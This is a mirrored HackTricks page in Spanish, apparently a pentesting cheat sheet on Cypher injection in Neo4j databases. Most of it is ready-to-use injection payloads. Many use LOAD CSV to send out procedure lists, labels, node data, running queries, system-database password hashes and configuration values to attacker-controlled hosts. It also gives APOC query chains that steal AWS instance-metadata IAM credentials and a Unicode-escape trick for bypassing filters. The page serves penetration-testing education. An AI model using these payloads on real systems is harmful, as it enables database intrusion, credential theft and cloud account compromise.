mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 13:13:41 +00:00
273 lines
17 KiB
Markdown
273 lines
17 KiB
Markdown
# Inyección de Cypher (neo4j)
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|
||
|
||
## Inyecciones comunes de Cypher
|
||
|
||
Las declaraciones **MATCH** y **WHERE** son **escenarios comunes**.
|
||
|
||
Cuando hemos encontrado una inyección, la forma de explotarla depende de la **ubicación dentro de la consulta**. A continuación se muestra una tabla de diferentes ubicaciones de inyección y ejemplos de explotación:
|
||
|
||
| Consulta inyectable | Inyección |
|
||
| ------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------- |
|
||
| `MATCH (o) WHERE o.Id='{input}'` | `' OR 1=1 WITH 0 as _l00 {…} RETURN 1 //` |
|
||
| <p><code>MATCH (o) WHERE '{input}' = o.Id</code><br><code>MATCH (o) WHERE {input} in [diferentes, valores]</code></p> | `'=' {…} WITH 0 as _l00 RETURN 1 //` |
|
||
| `MATCH (o) WHERE o:{input}` | `a {…} WITH 0 as _l00 RETURN 1 //` |
|
||
| `` MATCH (o) WHERE o:`{input}` `` | ``a` {...} WITH 0 as _l00 RETURN 1 //`` |
|
||
| `MATCH (o {id:'{input}'})` | `'}) RETURN 1 UNION MATCH (n) {...} RETURN 1 //` |
|
||
| `MATCH (o:{input})` | `a) RETURN 1 UNION MATCH (n){...} RETURN 1//` |
|
||
| ``MATCH (o:`{input}`)`` | ``a`) RETURN 1 UNION MATCH (n){...} RETURN 1 //`` |
|
||
| `MATCH (o)-[r {id:'{input}'})]-(o2)` | `'}]-() RETURN 1 UNION MATCH (n){...} RETURN 1//` |
|
||
| `MATCH (o)-[r:{input}]-(o2)` | `a]-() RETURN 1 UNION MATCH (n){...} RETURN 1 //` |
|
||
| ``MATCH (o)-[r:`{input}`]-(o2)`` | ``a`]-() RETURN 1 UNION MATCH (n){...} RETURN 1 //`` |
|
||
|
||
Ten en cuenta la declaración UNION:
|
||
|
||
1. La razón por la que se requiere UNION es que si la declaración MATCH no devuelve nada, el resto de la consulta no se ejecutará. Por lo tanto, todas las cosas maliciosas que podríamos hacer allí simplemente no se ejecutarán.
|
||
2. Agregamos "RETURN 1" antes de UNION para que ambas partes devuelvan las mismas columnas, lo que es necesario para que se ejecute la consulta.
|
||
|
||
Entonces, ¿qué pasa con la declaración "WITH"?
|
||
|
||
Usando WITH, podemos eliminar todas las variables existentes. Esto es importante cuando no sabemos cuál es la consulta (más sobre eso más adelante). Si nuestra carga útil intenta establecer una variable que ya existe por accidente, la consulta no se ejecutará.
|
||
|
||
Naturalmente, si conocemos la consulta y la base de datos, ninguna de estas técnicas es necesaria. Incluso podemos manipular los datos devueltos para manipular el proceso en lugar de simplemente abusar del servidor.
|
||
|
||
## Exfiltración HTTP
|
||
|
||
Es posible utilizar el siguiente método para exfiltrar información al dominio controlado por el atacante:
|
||
```sql
|
||
LOAD CSV FROM 'https://attacker.com/'
|
||
```
|
||
Por ejemplo
|
||
```sql
|
||
// Injection in:
|
||
MATCH (o) WHEREo.Id='{input}' RETURN o
|
||
|
||
// Injection to get all the preocedures
|
||
' OR 1=1 WITH 1 as _l00 CALL dbms.procedures() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //
|
||
|
||
```
|
||
## APOC
|
||
|
||
Lo primero que un atacante debe verificar es **si APOC está instalado**. APOC (procedimientos impresionantes en Cypher) es un plugin **extremadamente popular**, oficialmente soportado por Neo4j que mejora en gran medida sus capacidades. APOC agrega muchas **funciones y procedimientos adicionales** que los desarrolladores pueden usar en su entorno. Los atacantes pueden usar los diversos procedimientos y funciones que ofrece APOC para llevar a cabo ataques más avanzados.
|
||
|
||
### Procedimientos para procesar datos y enviar solicitudes HTTP
|
||
|
||
* `apoc.convert.toJson` — convierte nodos, mapas y más a JSON
|
||
* `apoc.text.base64Encode` — obtiene una cadena y la codifica en base64
|
||
|
||
Es posible **establecer encabezados** y **enviar otros métodos** que no sean GET. Ejemplos:
|
||
|
||
{% code overflow="wrap" %}
|
||
```sql
|
||
CALL apoc.load.jsonParams("http://victim.internal/api/user",{ method: "POST", `Authorization`:"BEARER " + hacked_token},'{"name":"attacker", "password":"rockyou1"}',"") yield value as value
|
||
|
||
CALL apoc.load.csvParams("http://victim.internal/api/me",{ `Authorization`:"BEARER " + hacked_token}, null,{header:FALSE}) yield list
|
||
```
|
||
{% endcode %}
|
||
|
||
### Procedimientos para evaluar consultas
|
||
|
||
* `apoc.cypher.runFirstColumnMany` - una función que devuelve los valores de la primera columna como una lista
|
||
* `apoc.cypher.runFirstColumnSingle` - una función que devuelve el primer valor de la primera columna
|
||
* `apoc.cypher.run` - un procedimiento que ejecuta una consulta y devuelve los resultados como un mapa
|
||
* `apoc.cypher.runMany` - un procedimiento que ejecuta una consulta o varias consultas separadas por un punto y coma y devuelve los resultados como un mapa. Las consultas se ejecutan en una transacción diferente.
|
||
|
||
## Extrayendo información
|
||
|
||
### Versión del servidor
|
||
|
||
Una forma de obtener la versión del servidor es utilizar el procedimiento `dbms.components()`
|
||
```sql
|
||
' OR 1=1 WITH 1 as a CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.0.2.4:8000/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 //
|
||
```
|
||
{% endcode %}
|
||
|
||
### Obtener la consulta en ejecución
|
||
|
||
La forma más sencilla es utilizar el procedimiento `dmbs.listQueries()`.
|
||
```sql
|
||
' OR 1=1 call dbms.listQueries() yield query LOAD CSV FROM 'http://10.0.2.4:8000/?' + query as l RETURN 1 //
|
||
```
|
||
{% endcode %}
|
||
|
||
En **Neo4j 5 se eliminó `dbms.listQueries`**. En su lugar, podemos usar "SHOW TRANSACTIONS". Hay dos limitaciones importantes: las consultas SHOW no son inyectables y, a diferencia de `listQueries`, solo podemos ver la consulta actualmente ejecutada en la transacción y no todas ellas.
|
||
|
||
Si se **instala** el núcleo de **APOC**, podemos usarlo para ejecutar SHOW TRANSACTIONS. Si lo ejecutamos en la misma transacción, solo se devolverán SHOW TRANSACTIONS en lugar de la consulta que estamos intentando ver. Podemos usar **`apoc.cypher.runMany`** para ejecutar SHOW TRANSACTIONS, porque a diferencia de otras funciones y procedimientos de apoc.cypher, se ejecuta en una transacción diferente.
|
||
```sql
|
||
' OR 1=1 call apoc.cypher.runMany("SHOW TRANSACTIONS yield currentQuery RETURN currentQuery",{}) yield result LOAD CSV FROM 'http://10.0.2.4:8000/?' + result['currentQuery'] as l RETURN 1//
|
||
```
|
||
{% endcode %}
|
||
|
||
### Obtener etiquetas
|
||
|
||
Usando el método integrado **`db.labels`**, es posible listar todas las etiquetas existentes.
|
||
```sql
|
||
'}) RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM 'http://attacker_ip/?l='+label as l RETURN 0 as _0
|
||
```
|
||
{% endcode %}
|
||
|
||
### Obtener propiedades de una clave
|
||
|
||
La función integrada **`keys`** se puede utilizar para **listar las claves de las propiedades** (Esto no funcionará si uno de los campos es una lista o un mapa).
|
||
```sql
|
||
' OR 1=1 WITH 1 as a MATCH (f:Flag) UNWIND keys(f) as p LOAD CSV FROM 'http://10.0.2.4:8000/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //
|
||
```
|
||
{% endcode %}
|
||
|
||
Si APOC está disponible, hay una mejor manera de hacerlo usando `apoc.convert.toJson`
|
||
```sql
|
||
' OR 1=1 WITH 0 as _0 MATCH (n) LOAD CSV FROM 'http://10.0.2.4:8000/?' + apoc.convert.toJson(n) AS l RETURN 0 as _0 //
|
||
```
|
||
### Obtener funciones y procedimientos
|
||
|
||
Utilizando los procedimientos integrados **`dbms.functions()`** y **`dbms.procedures()`** es posible listar todas las funciones y procedimientos.
|
||
|
||
{% code overflow="wrap" %}
|
||
```sql
|
||
' OR 1=1 WITH 1 as _l00 CALL dbms.functions() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //
|
||
```
|
||
{% endcode %}
|
||
|
||
{% code overflow="wrap" %}
|
||
```sql
|
||
' OR 1=1 WITH 1 as _l00 CALL dbms.procedures() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //
|
||
```
|
||
{% endcode %}
|
||
|
||
Estos procedimientos **fueron eliminados en Neo4j 5.** En su lugar, podemos usar **`SHOW PROCEDURES`** y **`SHOW FUNCTIONS`.** Las consultas SHOW no pueden ser inyectadas.
|
||
|
||
Si se ha instalado APOC core, podemos usar cualquiera de los procedimientos o funciones que ejecutan consultas para listar funciones y procedimientos.
|
||
```sql
|
||
' OR 1=1 WITH apoc.cypher.runFirstColumnMany("SHOW FUNCTIONS YIELD name RETURN name",{}) as names UNWIND names AS name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //
|
||
```
|
||
|
||
```sql
|
||
' OR 1=1 CALL apoc.cypher.run("SHOW PROCEDURES yield name RETURN name",{}) yield value
|
||
LOAD CSV FROM 'https://attacker.com/' + value['name'] as _l RETURN 1 //
|
||
```
|
||
### Obtener la base de datos del sistema
|
||
|
||
La base de datos del sistema es una base de datos especial de Neo4j que normalmente no se puede consultar. Contiene datos interesantes almacenados como nodos:
|
||
|
||
* Bases de datos
|
||
* Roles
|
||
* Usuarios (¡incluyendo el hash de la contraseña!)
|
||
|
||
Usando APOC, es posible recuperar los nodos, incluyendo los hashes. Solo los administradores pueden hacer esto, pero en la **edición gratuita de Neo4j, solo hay un usuario administrador y no hay otros usuarios**, por lo que no es raro encontrarse ejecutando como administrador.
|
||
|
||
Use el procedimiento **`apoc.systemdb.graph()`** para recuperar los datos.
|
||
|
||
{% code overflow="wrap" %}
|
||
```sql
|
||
' OR 1=1 WITH 1 as a call apoc.systemdb.graph() yield nodes LOAD CSV FROM 'http://10.0.2.4:8000/?nodes=' + apoc.convert.toJson(nodes) as l RETURN 1 //
|
||
```
|
||
{% endcode %}
|
||
|
||
Neo4j utiliza SimpleHash de Apache Shiro para generar el hash.
|
||
|
||
El resultado se almacena como una cadena de valores separados por comas:
|
||
|
||
* Algoritmo de hash
|
||
* Hash
|
||
* Sal
|
||
* Iteraciones
|
||
|
||
**Por ejemplo:**
|
||
```plaintext
|
||
SHA-256, 8a80d3ba24d91ef934ce87c6e018d4c17efc939d5950f92c19ea29d7e88b562c,a92f9b1c571bf00e0483effbf39c4a13d136040af4e256d5a978d265308f7270,1024
|
||
```
|
||
### **Obtener variables de entorno**
|
||
|
||
Usando APOC, es posible recuperar la variable de entorno utilizando el procedimiento **`apoc.config.map()`** o **`apoc.config.list()`**.
|
||
|
||
Estos procedimientos solo se pueden utilizar si se incluyen en la lista de procedimientos no restringidos en el archivo de configuración (dbms.security.procedures.unrestricted). Esto es más común de lo que se piensa, y al buscar el nombre de la configuración en Google, se obtienen muchos sitios y guías que aconsejan agregar el valor "apoc.\*", lo que permite todos los procedimientos de APOC.
|
||
```sql
|
||
' OR 1=1 CALL apoc.config.list() YIELD key, value LOAD CSV FROM 'http://10.0.2.4:8000/?'+key+"="+" A B C" as l RETURN 1 //
|
||
```
|
||
**Nota:** en Neo4j5 los procedimientos se movieron a APOC extendido.
|
||
|
||
### Punto de conexión de metadatos de la nube AWS
|
||
|
||
#### IMDSv1
|
||
|
||
{% code overflow="wrap" %}
|
||
```sql
|
||
LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/' AS roles UNWIND roles AS role LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/'+role as l
|
||
|
||
WITH collect(l) AS _t LOAD CSV FROM 'http://{attacker_ip}/' + substring(_t[4][0],19, 20)+'_'+substring(_t[5][0],23, 40)+'_'+substring(_t[6][0],13, 1044) AS _
|
||
```
|
||
#### IMDSv2
|
||
|
||
Es necesario **especificar encabezados** y utilizar métodos distintos a GET.
|
||
|
||
**`LOAD CSV`** no puede hacer ninguna de estas cosas, pero podemos usar **`apoc.load.csvParams`** para obtener el token y el rol, y luego **`apoc.load.jsonParams`** para obtener las credenciales en sí. La razón por la que usamos csvParams es que la respuesta no es un JSON válido.
|
||
|
||
{% endcode %}
|
||
```sql
|
||
CALL apoc.load.csvParams("http://169.254.169.254/latest/api/token", {method: "PUT",`X-aws-ec2-metadata-token-ttl-seconds`:21600},"",{header:FALSE}) yield list WITH list[0] as token
|
||
|
||
CALL apoc.load.csvParams("http://169.254.169.254/latest/meta-data/iam/security-credentials/", { `X-aws-ec2-metadata-token`:token},null,{header:FALSE}) yield list UNWIND list as role
|
||
|
||
CALL apoc.load.jsonParams("http://169.254.169.254/latest/meta-data/iam/security-credentials/"+role,{ `X-aws-ec2-metadata-token`:token },null,"") yield value as value
|
||
```
|
||
{% endcode %}
|
||
|
||
#### Contactar directamente con la API de AWS
|
||
|
||
{% code overflow="wrap" %}
|
||
```sql
|
||
CALL apoc.load.csvParams('https://iam.amazonaws.com/?Action=ListUsers&Version=2010-05-08', {`X-Amz-Date`:$date, `Authorization`: $signed_token, `X-Amz-Security-Token`:$token}, null, ) YIELD list
|
||
```
|
||
{% endcode %}
|
||
|
||
* $data está formateado como %Y%m%dT%H%M%SZ
|
||
* $token es el token que obtenemos del servidor de metadatos
|
||
* $signed\_token se calcula de acuerdo a https://docs.aws.amazon.com/general/latest/gr/signing\_aws\_api\_requests.html
|
||
|
||
## Bypass de WAF
|
||
|
||
### Inyección Unicode
|
||
|
||
En Neo4j >= v4.2.0, a menudo es posible **inyectar Unicode usando "\uXXXX"**. Por ejemplo, puedes usar este método si el **servidor intenta eliminar caracteres** como: ‘, ", \` y así sucesivamente.
|
||
|
||
Esto puede no funcionar si una letra sigue a la secuencia de escape Unicode. Es **seguro agregar un espacio** después o otra notación Unicode.
|
||
|
||
Por ejemplo, si el servidor elimina comillas simples, y la consulta se ve así:
|
||
```sql
|
||
MATCH (a: {name: '$INPUT'}) RETURN a
|
||
```
|
||
Es posible realizar una inyección de:
|
||
|
||
{% code overflow="wrap" %}
|
||
```sql
|
||
\u0027 }) RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM "http://attacker/ "+ label RETURN 0 as _o //
|
||
```
|
||
{% endcode %}
|
||
|
||
## Referencias
|
||
|
||
* [https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits](https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits)
|
||
* [https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8](https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8)
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|